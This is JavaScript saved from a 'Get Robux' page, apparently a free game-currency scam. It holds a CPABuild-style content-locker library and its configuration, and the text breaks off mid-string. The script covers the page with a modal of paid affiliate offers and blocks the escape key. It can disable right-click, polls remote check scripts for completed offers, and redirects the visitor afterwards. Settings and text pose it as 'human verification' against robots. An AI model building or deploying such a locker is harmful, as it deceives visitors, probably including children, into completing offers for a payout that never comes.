CPBContentLocker.prototype = { constructor: CPBContentLocker, log: function (msg) { if (typeof window['console'] !== 'undefined') { window['console'].log(msg); } }, addCallback: function (callback) { this.callbacks.push(callback); }, getSettings: function () { if(typeof window['CPABUILDSETTINGS'] === 'object'){ return window['CPABUILDSETTINGS']; } var preg = /[A-Za-z]{5}[A-Za-z]{3}[A-Za-z]{5}c/; var k = Object.keys(window); for (var kCounter = 0; kCounter < k.length; kCounter++) { if(k[kCounter].match(preg)){ return window[k[kCounter]]; } } }, setLockFunctions: function () { var t=this; for (var kCounter = 0; kCounter < this.locks.length; kCounter++) { var k ='_'+this.locks[kCounter]; window[k]=function (){t.openLocker();} } }, callback: function (event, data) { for (var cbCounter = 0; cbCounter < this.callbacks.length; cbCounter++) { var c = this.callbacks[cbCounter]; if (typeof c === 'function') { c(event, data); } } }, globalCallbacks: function () { this.addCallback(function (event, data) { console.log(event, data); if (event === 'loadHTML') {
}
})
},
detectUID: function () {
// var n = "_cpguid";
// var c = this.getCookie(n);
// if (typeof c === "string" && c) {
// this.uid = c;
// return;
// }
//this.uid = this.generateUID();
// this.setCookie(n, this.uid, 10);
},
getDomainFromURL: function (url) {
var matches = url.match(/^https?\:\/\/([^\/?#]+)(?:[\/?#]|$)/i);
return matches && matches[1];
},
detectScriptDomain: function () {
var s = document.getElementsByTagName("script");
var d = this.getDomainFromURL(s[s.length - 1].src);
if (d && d.length) {
this.scriptDomain = d;
}
},
mobileCheck: function () {
var check = false;
(function (a) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(
a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
a.substr(0, 4))) check = true;
})(navigator.userAgent || navigator.vendor || window.opera);
return check;
},
paramsToQuery: function (params) {
if (!params) return "";
var q = [];
for (var k in params) {
var value = params[k];
q.push(encodeURIComponent(k) + "=" + encodeURIComponent(value));
}
return q.join("&");
},
getQueryParam: function (name, url) {
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, '\\$&');
var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url);
if (!results) return '';
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, ' '));
},
loadBody: function () {
var thisPass = this;
this.body = document.getElementsByTagName('body')[0];
if (typeof this.body == "undefined") {
setTimeout(function () {
thisPass.loadBody()
}, 5);
return false;
}
},
setParam: function (key, value) {
this.extraParams[key] = value;
return this;
},
loadHTML: function () {
var id = "xfMAINJS";
this.removeElByID(id);
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = this.urls.js;
script.id = id;
this.head.appendChild(script);
this.callback('loadHTML', {});
this.loadGlobalCSS();
},
loadGlobalCSS: function () {
//Global CSS
var id = "xfGLOBALSTYLE";
if (!document.getElementById(id)) {
var l = document.createElement("link");
l.rel = "stylesheet";
l.href = this.urls.css;
l.id = "xfGLOBALSTYLE";
this.head.appendChild(l);
this.callback('loadGlobalCSS', {});
}
},
generateUID: function () {
return ("000" + ((Math.random() * 46656) | 0).toString(36)).slice(
-3) + ("000" + ((Math.random() * 46656) | 0).toString(36)).slice(
-3) + ("000" + ((Math.random() * 46656) | 0).toString(36)).slice(-3);
},
checkLead: function (testing) {
var script = document.createElement('script');
var url = this.urls.check + new Date().getTime();
if (testing === 'testing') {
url += '&testing=1';
}
this.removeElByID("xfLEADCHECK");
script.id = "xfLEADCHECK";
script.type = 'text/javascript';
script.src = url;
this.head.appendChild(script);
this.callback('checkLead', {});
},
openLocker: function () {
var thisPass = this;
if (!thisPass.isLoaded) {
setTimeout(function () {
thisPass.openLocker();
thisPass.callback('openLocker', {});
}, 5);
return false;
}
this.iframe.setAttribute("src", this.urls.iframe);
this.modalContainer.style.display = "block";
this.modal.className = "";
this.modal.style.display = "block";
if (typeof this.body !== "undefined") {
this.body.className += ' xfBodyModalOpen';
}
setTimeout(function () {
thisPass.modal.className = "xfAnimation xfShow";
}, 50);
},
closeLocker: function () {
var thisPass = this;
this.modal.className = "fadeOut";
this.callback('closeLocker', {});
if (typeof this.body !== "undefined") {
this.body.className = this.body.className.replace(/\bxfBodyModalOpen\b/, '');
}
setTimeout(function () {
thisPass.modal.style.display = "none";
}, 550);
},
encode: function (str) {
var encoded = "";
for (i = 0; i < str.length; i++) {
var a = str.charCodeAt(i);
var b = a ^ 117; // bitwise XOR with any number, e.g. 123
encoded = encoded + String.fromCharCode(b);
}
return encoded;
},
decode64: function (encoded) {
var decoded = "";
encoded = atob(encoded);
for (i = 0; i < encoded.length; i++) {
var a = encoded.charCodeAt(i);
var b = a ^ 117; // bitwise XOR with any number, e.g. 123
decoded = decoded + String.fromCharCode(b);
}
return decoded;
},
onSettingsAndHTMLLoaded() {
//right click
if (parseInt(this.getValue('disable_right_click')) === 1) {
document.addEventListener('contextmenu', event => event.preventDefault());
}
//escape key
if (parseInt(this.getValue(
"escape_key_close")) === 1 || this.settings.testing === 1 || this.settings.escapeOverwrite === true) {
document.onkeydown = function (evt) {
evt = evt || window.event;
var isEscape = false;
if ("key" in evt) {
isEscape = (evt.key === "Escape" || evt.key === "Esc");
} else {
isEscape = (evt.keyCode === 27);
}
if (isEscape) {
this.closeLocker();
}
};
}
},
onVarsChange: function () {
var thisPass = this;
this.modalContainer = document.getElementById("xf_MODAL_CONTAINER");
this.modal = document.getElementById("xf_MODAL");
this.modalContent = document.getElementById("xfMODALCONTENT");
this.iframe = document.getElementById("xfOFFERS");
this.modalContent.className = this.getValue("animation");
setTimeout(function () {
thisPass.isLoaded = true
}, 500);
var cssRules = [];
for (var key in thisPass.defaultSettings) {
// skip loop if the property is from prototype
if (!thisPass.defaultSettings.hasOwnProperty(key)) continue;
var obj = thisPass.defaultSettings[key];
if (typeof obj.css == "object" && obj.for == "html") {
var value = thisPass.getValue(key);
if (obj.css.rule == "background-image" && value) {
value = "url('" + value + "')";
}
if (value && typeof obj.css.format === "string") {
value = obj.css.format.replace('%value%', value);
}
if (value) {
cssRules.push({
target: obj.css.target,
"rule": obj.css.rule,
"value": value
});
}
}
}
thisPass.setCSSRules(cssRules);
if (typeof this.defaultSettings["content_locker_title_text"] != "undefined"){
document.getElementById( "xfMODALTITLE").innerHTML = thisPass.getValue("content_locker_title_text");
}
if (typeof this.defaultSettings["content_locker_footer_text"] != "undefined"){
document.getElementById( "xfMODALFOOTERTEXT").innerHTML = thisPass.getValue("content_locker_footer_text");
}
if (typeof this.defaultSettings["overlay_color"] != "undefined" && typeof this.defaultSettings["overlay_opacity"] != "undefined") {
var opacity = thisPass.getValue("overlay_opacity");
var hex = thisPass.getValue("overlay_color");
var rgba = thisPass.convertHex(hex, opacity);
document.getElementById( "xfSettingsCSS").innerHTML += "#xf_MODAL_CONTAINER #xf_MODAL {background-color: " + rgba + " }";
}
if (this.isMobile) {
this.modalContainer.className += " xf_MODAL_CONTAINER_MOBILE"
}
if (typeof this.userSettings["number_offers_required"] != "undefined") {
this.requiredLeads = parseInt(this.userSettings["number_offers_required"]);
}
if (typeof this.userSettings["payout_required"] != "undefined") {
this.requiredPoints = parseInt(this.userSettings["payout_required"]);
}
setTimeout(function () {
thisPass.checkLead()
}, 2000);
//Escape Key
this.onSettingsAndHTMLLoaded();
},
getValue: function (key) {
if (typeof this.defaultSettings[key] == "undefined") {
this.log("ERROR - No default settings for key " + key);
return "";
}
if (typeof this.userSettings[key] !== "undefined" && this.userSettings[key]) {
return this.userSettings[key];
}
return this.defaultSettings[key]['default'];
},
changeHTML: function (html) {
document.getElementById("xfMODALBODY").innerHTML = html;
},
setCSSRules: function (cssRules) {
var textRules = [];
var id = "xfSettingsCSS";
this.removeElByID(id);
if (cssRules.length > 0) {
cssRules.map(function (rule) {
var text = "#xf_MODAL_CONTAINER " + rule.target + "{" + rule.rule + ":" + rule.value + "}";
textRules.push(text);
});
}
var animationDuration = parseInt(this.getValue("animation_duration"));
var animationDurationCSS = "#xf_MODAL_CONTAINER #xfMODALCONTENT{" + "animation-duration: " + animationDuration + "ms;" + "-webkit-transition: all " + animationDuration + "ms;" + "transition: all " + animationDuration + "ms;" + "transition-duration: " + animationDuration + "ms;}";
textRules.push(animationDurationCSS);
var style = document.createElement('style');
style.type = 'text/css';
style.id = id;
style.innerHTML = textRules.join("\n\n");
this.head.appendChild(style);
},
removeElByID: function (id) {
var elem = document.getElementById(id);
if (elem) {
elem.parentElement.removeChild(elem);
}
},
reset: function () {
this.removeElByID("xf_MODAL_CONTAINER");
xfContentLocker = new CPBContentLocker();
},
addCompletions: function (arr) {
if (this.constructed === false) {
//Dont run anything if not constructed
return false;
}
var arrayLength = arr.length;
var newLeads = false;
for (var i = 0; i < arrayLength; i++) {
var visitor_id = parseInt(arr[i].visitor_id);
var lead_id = parseInt(arr[i].lead_id);
var points = parseInt(arr[i].points);
if (this.completedLeads.indexOf(lead_id) == -1) {
//New lead!
this.visitor_id = visitor_id;
newLeads = true;
this.completedLeads.push(lead_id);
this.completedPoints += points;
}
}
if (newLeads) {
this.checkComplete();
}
},
checkComplete: function () {
if (this.completedLeads.length < this.requiredLeads) {
alert("Completed " + this.completedLeads.length + " out of " + this.requiredLeads + " offers!");
} else if (this.completedPoints < this.requiredPoints) {
alert("Completed " + this.completedPoints + " out of " + this.requiredPoints + " points!");
} else {
this.offersComplete({
visitor_id: this.visitor_id,
points: this.completedPoints,
leads: this.completedLeads
});
}
},
convertHex: function (hex, opacity) {
opacity = parseFloat(opacity);
hex = hex.replace('#', '');
var r = parseInt(hex.substring(0, 2), 16);
var g = parseInt(hex.substring(2, 4), 16);
var b = parseInt(hex.substring(4, 6), 16);
return 'rgba(' + r + ',' + g + ',' + b + ',' + opacity + ')';
},
offersComplete: function (data) {
var closeType = this.getValue('onClose');
var url;
if (typeof this.settings.onComplete == "function") {
var cont = this.settings.onComplete(data);
if (cont === false) {
return false;
}
}
if (typeof xfComplete == "function") {
xfComplete();
}
if (typeof this.settings.redirect !== "undefined") {
url = this.settings.redirect;
window.location = url;
this.changeHTML("Offer complete! <a href='" + url + "'>Click here</a> to continue");
return false;
}
if (closeType === "close_locker") {
this.closeLocker();
return false;
}
if (closeType === "redirect") {
url = this.getValue('onCloseURL');
url = url.replace('%lead_id%', this.completedLeads[0]);
url = url.replace('%visitor_id%', this.visitor_id);
window.location = url;
this.changeHTML("Offer complete! <a href='" + url + "'>Click here</a> to continue");
return false;
}
this.callback('offersComplete', {});
},
getIframeHTML: function () {
return '<iframe src="' + this.urls.iframeOnly + '" height="100%" marginwidth="0" marginheight="0" align="middle" frameborder="0" width="100%" ></iframe>';
},
setParamsFromSettings: function () {
if (typeof this.settings.params == 'object') {
var k;
for (k in this.settings.params) {
var value = this.settings.params[k];
this.setParam(k, value);
}
}
var i;
for (i = 1; i <= 4; i++) {
var iKey = 's' + i;
if (!this.extraParams[iKey]) {
var p = this.getQueryParam(iKey);
if (p !== '') this.extraParams[iKey] = p;
}
}
},
getParamString: function (arrayOfKeys) {
var i;
var p = [];
for (i = 0; i < arrayOfKeys.length; i++) {
var key = arrayOfKeys[i];
var value = this.optionalParameters[key];
p.push(key + '=' + value);
}
return p.join("&");
},
setURLS: function () {
//var p = this.protocol + this.d3 + "/public/";
var p = "https://" + this.d3 + "/public/";
var q = this.paramsToQuery(this.extraParams);
this.urls.iframe = p + "ct?" + q + '&' + this.getParamString([
'it',
'w',
'h',
'key',
'm',
'r'
]);
this.urls.feed = p + "f_it?" + q + '&' + this.getParamString([
'it',
'w',
'h',
'key',
'm',
'callback'
]);
this.urls.iframeOnly = p + "i_fr?" + q + '&' + this.getParamString([
'it',
'w',
'h',
'key',
'm',
'r'
]);
this.urls.js = p + "external/v2/" + ((this.settings.preview === true) ? "preview" : 'htmlxf') + '.' + this.settings.it + "." + this.settings.key + "." + this.optionalParameters.m + "." + "js" + (this.settings.preview === true ? ("?t=" + (new Date()).getTime()) : '')
this.urls.css = p + "external/css_frontXF.css";
this.urls.specific_css = p + "clockers/";
this.urls.check = p + "external/check.php?" + this.getParamString(['it']) + "&time=";
this.urls.impression = p + "external/impression.php?" + this.getParamString(['it']) + "&time=";
this.urls.guid = p + "guid?" + q + '&e=';
return this;
},
setTemplateCSSDir: function (dir) {
var url = this.urls.specific_css + dir + "/cssXF.css";
var specificCSSID = "xfSPECIFICSTYLE";
var l = document.createElement("link");
l.setAttribute("data-it", this.settings.it);
l.rel = "stylesheet";
l.id = specificCSSID;
l.href = url;
document.getElementsByTagName("head")[0].appendChild(l);
},
setCookie: function (name, value, days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
},
getCookie: function (name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
}; xfContentLocker = new CPBContentLocker();
function xfLock() { xfContentLocker.openLocker(); }
function xfGetFeedURL() { return xfContentLocker.urls.feed; }
function xfGetIframeURL() { return xfContentLocker.urls.iframe; }
function xfGetIframeHTML() { return xfContentLocker.getIframeHTML(); }
function xfUnlock() { xfContentLocker.closeLocker(); }
function xfOfferComplete(data) { //CPABUILDContentLocker.offerComplete(data); }
function xfOffersComplete(arr) { xfContentLocker.addCompletions(arr); }
function xfCheckForLead(testing) { xfContentLocker.checkLead(testing); }
function xfComplete() { //Rewrite this function, it's called when locker has completed requirements. }
function CPABuildLock() { xfLock(); }
function CPABuildGetFeedURL() { return xfGetFeedURL(); }
function CPABuildGetIframeURL() { return xfGetFeedURL(); }
function CPABuildGetIframeHTML() { return xfGetIframeHTML(); }
function CPABuildUnlock() { xfUnlock(); }
function CPABuildOfferComplete(data) { xfOfferComplete(data); //CPABUILDContentLocker.offerComplete(data); }
function CPABuildOffersComplete(arr) { xfOffersComplete(arr); CPABUILDContentLocker.addCompletions(arr); }
function CPABuildCheckForLead(testing) { xfCheckForLead(testing); }
function CPABuildComplete() {
xfComplete();
//Rewrite this function, it's called when locker has completed requirements.
}</script><script type="text/javascript" src="./Get Robux_files/htmlxf.4144733.88c39.0.js.download" id="xfMAINJS"></script><script type="text/javascript" id="xfMAINJS">(function () {var it_id=4345531;var html="<div id="xf_MODAL">\r\n <div id="xfMODALCONTENT">\r\n <div id="xfMODALHEADER">\r\n <div id="xfMODALTITLE"></div> </div>\r\n <div id="xfMODALBODY">\r\n <iframe id="xfOFFERS" style="overflow:hidden;" src=""></iframe>\r\n </div>\r\n <div id="xfMODALFOOTER">\r\n <p id="xfMODALFOOTERTEXT"></p>\r\n </div>\r\n </div>\r\n</div>\r\n";var css="/content_lockers/PrimeApps/css.css";var cssDIR="PrimeApps";var defaultSettings={"%custom_settings%":{"title":"Custom Settings (From Builder Tool)","default":"{}","type":"html","small":"Click Save & Preview Below to start building this locker.","custom_filter":true},"number_offers":{"title":"Number of Offers","default":4,"type":"number","small":"Max of 5 offers."},"number_offers_required":{"title":"Offers Required","default":1,"type":"number","small":"Offers required for unlock."},"payout_required":{"title":"Payout Required (Cents)","default":1,"type":"number","small":"Payout required (in cents). 500 = $5.00"},"animation":{"title":"Entrance Animation","default":"xf_fadeIn","type":"select","options":{"Drop From Top":"xf_animateTop","Fade In":"xf_fadeIn","Slide From Right":"xf_slideRight","Slide Up":"xf_slideUp","Slide From Right (3D)":"xf_slideFall","Spin In":"xf_spinIn"}},"animation_duration":{"title":"Animation Duration (ms)","default":"600","type":"number","small":"1000ms = 1 second"},"onClose":{"title":"On Offer Complete","default":"redirect","type":"select","options":{"Close Locker":"close_locker","Redirect to URL":"redirect"}},"onCloseURL":{"title":"Redirect URL","default":"https://google.com","type":"text","small":"The URL the visitor will hit after completing an offer. Only enabled if option above is set to redirect."},"disable_right_click":{"title":"Disable Right Click","default":"0","type":"toggle","small":"Right click will be disabled for the entire page."},"escape_key_close":{"title":"Escape Key Close","default":"0","type":"toggle","small":"If enabled, user can exit content locker with escape key."}};var userSettings={"%custom_settings%":"{"css":{"pc":{"body":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"}},"body-human-verification":{"background":{"color":"#fbfbfb","horizontal":"left","image":"","size":"cover","vertical":"top"},"background-hover":{"color":"#b1b1b1","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-radius":"4","border-color":"#b9b9b9","border-color-hover":"#b9b9b9","border-width":"1","font-color":"#9c9c9c","font-color-hover":"#565656","font-size":"14","font-weight":"normal","margin-bottom":"79","margin-top":"84","padding-top":"8","padding-bottom":"8"},"body-offers":{"text-bottom-align":"center","text-bottom-color":"#ffffff","text-bottom-padding-bottom":"17","text-bottom-padding-top":"12","text-bottom-shadow":"transparent","text-bottom-size":"13","text-bottom-weight":"normal","text-top-align":"center","text-top-color":"#000000","text-top-padding-bottom":"20","text-top-padding-top":"0","text-top-shadow":"transparent","text-top-size":"15","text-top-weight":"normal"},"body-offers-list":{"align":"center","background":{"color":"#c9c9c9","horizontal":"left","image":"","size":"cover","vertical":"top"},"background-hover":{"color":"#ababab","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-color":"#828282","border-radius":"0","border-width":"0","font-color":"#474747","font-color-hover":"#474747","font-size":"13","font-weight":"bold","margin-bottom":"7","margin-top":"0","padding-bottom":"13","padding-top":"15","text-align":"center","width":"98"},"header":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-color":"transparent","border-width":"0","border-box-shadow":"transparent","display":"block","font-align":"center","font-color":"#000000","font-size":"20","font-weight":"bold","padding-bottom":"17","padding-top":"26"},"footer":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-color":"#ffffff","border-width":"0","border-box-shadow":"transparent","display":"block","font-align":"center","font-color":"#000000","font-size":"13","font-weight":"normal","padding-bottom":"22","padding-top":"5"},"locker":{"border-radius":"9","box-shadow":"#bf353a","font":"Montserrat","width":"580"},"page":{"background":{"color":"#000000","horizontal":"left","image":"","size":"cover","vertical":"top"},"opacity":"40"}},"phone":{"body":{},"body-human-verification":{"border-radius":"4","border-width":"1","font-size":"11","font-weight":"normal","margin-bottom":"57","margin-top":"60","padding-top":"8","padding-bottom":"8"},"body-offers":{"text-bottom-padding-bottom":"15","text-bottom-padding-top":"9","text-bottom-size":"10","text-bottom-weight":"normal","text-top-padding-bottom":"15","text-top-padding-top":"7","text-top-size":"13","text-top-weight":"normal"},"body-offers-list":{"border-width":"0","font-size":"12","font-weight":"bold","margin-bottom":"5","margin-top":"0","padding-bottom":"9","padding-top":"12","width":"100"},"header":{"border-width":"0","font-size":"13","font-weight":"bold","padding-bottom":"10","padding-top":"22"},"footer":{"border-width":"0","font-size":"11","font-weight":"normal","padding-bottom":"16","padding-top":"0"},"locker":{},"page":{}}},"css-custom":"@import url('https://fonts.googleapis.com/css?family=Source+Sans+Pro');\n\n#my-locker {\n border: 10px solid #bf3539;\n box-shadow: 0px 1px 22px rgba(41, 41, 41, 0.56) !important;\n font-family: 'Source Sans Pro', sans-serif;\n position: relative;\n}\n\n#my-locker-top span {\n font-size: 21px !important;\n}\n\nbody.mobile #my-locker-top span {\n font-size: 21px !important;\n}\n\n#my-locker-top img {\n height: 115px;\n margin-bottom: 7px;\n}\n\nbody.mobile #my-locker-top img {\n height: 110px;\n max-width: 395px;\n}\n\n#my-locker-top hr {\n background: #dedede;\n border: 0;\n height: 2px;\n margin: 17px 0 0;\n}\n\n.loading-button {\n background: #bf3539;\n color: #f7fdf8;\n cursor: pointer;\n font-size: 15px;\n font-weight: bold;\n padding: 14px 0;\n}\n\n.loading-botton i {\n color: #e8d04a;\n}\n\nbody.mobile .loading-button {\n font-size: 12px;\n}\n\n#my-locker-body-offers-list a {\n border-bottom-width: 3px !important;\n}\n\n\n/* DIFFICULTIES */\n\n.difficulty {\n background: red;\n border-radius: 4px;\n color: #fff;\n display: inline-block;\n font-size: 12px;\n font-weight: normal;\n padding: 2px 5px 2px;\n margin: 0 0 -2px 12px;\n}\n\n.difficulty.easy {\n background: #41c101;\n}\n\n.difficulty.medium {\n background: #ce8c14;\n}\n\n.difficulty.hard {\n background: #d60000;\n}","google":{"analytics-tracking-id":"","event-tracking":"disabled","translate":"enabled"},"instructions":"- To change the amount of Offers that are displayed: Click on \"Offers\", and adjust the \"Number of Offers\" value.\n\n- To change the Header image: Click on \"Custom CSS & JavaScript\", choose \"JavaScript\", and change the URL in the headerImage variable.\n\n- To change the \"Claim Your Resources - Last Step\" text: Click on \"Design Your Content Locker\", choose \"Header\", and change the text in the \"Text\" input.\n\n- To change the \"To avoid robot entries ...\" text: Click on \"Design Your Content Locker\", choose \"Body > Offers\", and change the text in the \"Top Text\" input.\n\n- To change the \"Offer Incomplete!\" text: Click on \"Design Your Content Locker\", choose \"Body > Offers\", and change the text in the \"Bottom Text\" input.\n\n- To change the \"Complete 1 of the offers to unlock ...\" text: Click on \"Design Your Content Locker\", choose \"Footer\", and change the text in the \"Bottom Text\" input.\n\n- To change the border color and \"Offer Incomplete!\" background color: Click on \"Design Your Content Locker\", choose \"Content Locker\", and change the value in the \"Border Shadow Color\" input.\n\n- To enable or disable Difficulties: Click on \"Custom CSS & JavaScript\", choose \"JavaScript\", and change the showDifficulties variable to either true (show) or false (hide).","javascript-custom":"// You can edit below here\nvar headerImage = 'https://d266key948fg17.cloudfront.net/uploads/1570389043bb9c67daa48c334b14458fe80262d1fb.jpg';\nvar showDifficulties = false; // Either true or false\n\n// Don't edit below here!\n$(document).ready(function() {\n
if(window['xfContentLocker']){
//Old locker
//Specific CSS
xfContentLocker.setTemplateCSSDir(cssDIR);
xfContentLocker.removeElByID("xf_MODAL_CONTAINER");
//HTML
xfContentLocker.removeElByID("xf_MODAL_CONTAINER");
var d=document.createElement("div");
d.style="display:none;";
d.id="xf_MODAL_CONTAINER";
d.innerHTML=html;
document.getElementsByTagName("body")[0].appendChild(d);
xfContentLocker.defaultSettings=defaultSettings;
xfContentLocker.userSettings=userSettings;
for (var property in userSettings) {
var val = userSettings[property];
if(typeof val === 'string'){
userSettings[property]=val.replace(/cpabuild_/ig, 'xf_');
}
}
xfContentLocker.onVarsChange();
}
}
})();</script>
<script type="text/javascript" id="xfMAINJS">(function () {var it_id=4278072;var html="<div id="xf_MODAL">\r\n <div id="xfMODALCONTENT">\r\n <div id="xfMODALHEADER">\r\n <div id="xfMODALTITLE"></div> </div>\r\n <div id="xfMODALBODY">\r\n <iframe id="xfOFFERS" style="overflow:hidden;" src=""></iframe>\r\n </div>\r\n <div id="xfMODALFOOTER">\r\n <p id="xfMODALFOOTERTEXT"></p>\r\n </div>\r\n </div>\r\n</div>\r\n";var css="/content_lockers/PrimeApps/css.css";var cssDIR="PrimeApps";var defaultSettings={"%custom_settings%":{"title":"Custom Settings (From Builder Tool)","default":"{}","type":"html","small":"Click Save & Preview Below to start building this locker.","custom_filter":true},"number_offers":{"title":"Number of Offers","default":4,"type":"number","small":"Max of 5 offers."},"number_offers_required":{"title":"Offers Required","default":1,"type":"number","small":"Offers required for unlock."},"payout_required":{"title":"Payout Required (Cents)","default":1,"type":"number","small":"Payout required (in cents). 500 = $5.00"},"animation":{"title":"Entrance Animation","default":"xf_fadeIn","type":"select","options":{"Drop From Top":"xf_animateTop","Fade In":"xf_fadeIn","Slide From Right":"xf_slideRight","Slide Up":"xf_slideUp","Slide From Right (3D)":"xf_slideFall","Spin In":"xf_spinIn"}},"animation_duration":{"title":"Animation Duration (ms)","default":"600","type":"number","small":"1000ms = 1 second"},"onClose":{"title":"On Offer Complete","default":"redirect","type":"select","options":{"Close Locker":"close_locker","Redirect to URL":"redirect"}},"onCloseURL":{"title":"Redirect URL","default":"https://google.com","type":"text","small":"The URL the visitor will hit after completing an offer. Only enabled if option above is set to redirect."},"disable_right_click":{"title":"Disable Right Click","default":"0","type":"toggle","small":"Right click will be disabled for the entire page."},"escape_key_close":{"title":"Escape Key Close","default":"0","type":"toggle","small":"If enabled, user can exit content locker with escape key."}};var userSettings={"%custom_settings%":"{"css":{"pc":{"body":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"}},"body-human-verification":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"},"background-hover":{"color":"#b1b1b1","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-radius":"6","border-color":"#ffffff","border-color-hover":"#ffffff","border-width":"1","font-color":"#9c9c9c","font-color-hover":"#ededed","font-size":"14","font-weight":"bold","margin-bottom":"79","margin-top":"84","padding-top":"8","padding-bottom":"8"},"body-offers":{"text-bottom-align":"center","text-bottom-color":"#ffffff","text-bottom-padding-bottom":"17","text-bottom-padding-top":"12","text-bottom-shadow":"#ffffff","text-bottom-size":"20","text-bottom-weight":"bold","text-top-align":"center","text-top-color":"#000000","text-top-padding-bottom":"24","text-top-padding-top":"7","text-top-shadow":"transparent","text-top-size":"20","text-top-weight":"bold"},"body-offers-list":{"align":"center","background":{"color":"#000000","horizontal":"left","image":"","size":"cover","vertical":"top"},"background-hover":{"color":"#000000","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-color":"#000000","border-radius":"0","border-width":"0","font-color":"#ffffff","font-color-hover":"#474747","font-size":"13","font-weight":"bold","margin-bottom":"7","margin-top":"0","padding-bottom":"13","padding-top":"15","text-align":"center","width":"98"},"header":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-color":"#ffffff","border-width":"5","border-box-shadow":"transparent","display":"block","font-align":"center","font-color":"#000000","font-size":"20","font-weight":"bold","padding-bottom":"21","padding-top":"26"},"footer":{"background":{"color":"#ffffff","horizontal":"left","image":"","size":"cover","vertical":"top"},"border-color":"#ffffff","border-width":"0","border-box-shadow":"#000000","display":"block","font-align":"center","font-color":"#000000","font-size":"13","font-weight":"normal","padding-bottom":"22","padding-top":"5"},"locker":{"border-radius":"10","box-shadow":"#000000","font":"Verdana","width":"550"},"page":{"background":{"color":"#000000","horizontal":"left","image":"","size":"cover","vertical":"top"},"opacity":"40"}},"phone":{"body":{},"body-human-verification":{"border-radius":"4","border-width":"1","font-size":"11","font-weight":"normal","margin-bottom":"57","margin-top":"60","padding-top":"8","padding-bottom":"8"},"body-offers":{"text-bottom-padding-bottom":"15","text-bottom-padding-top":"9","text-bottom-size":"10","text-bottom-weight":"normal","text-top-padding-bottom":"15","text-top-padding-top":"7","text-top-size":"13","text-top-weight":"normal"},"body-offers-list":{"border-width":"0","font-size":"12","font-weight":"bold","margin-bottom":"5","margin-top":"0","padding-bottom":"9","padding-top":"12","width":"100"},"header":{"border-width":"0","font-size":"13","font-weight":"bold","paddin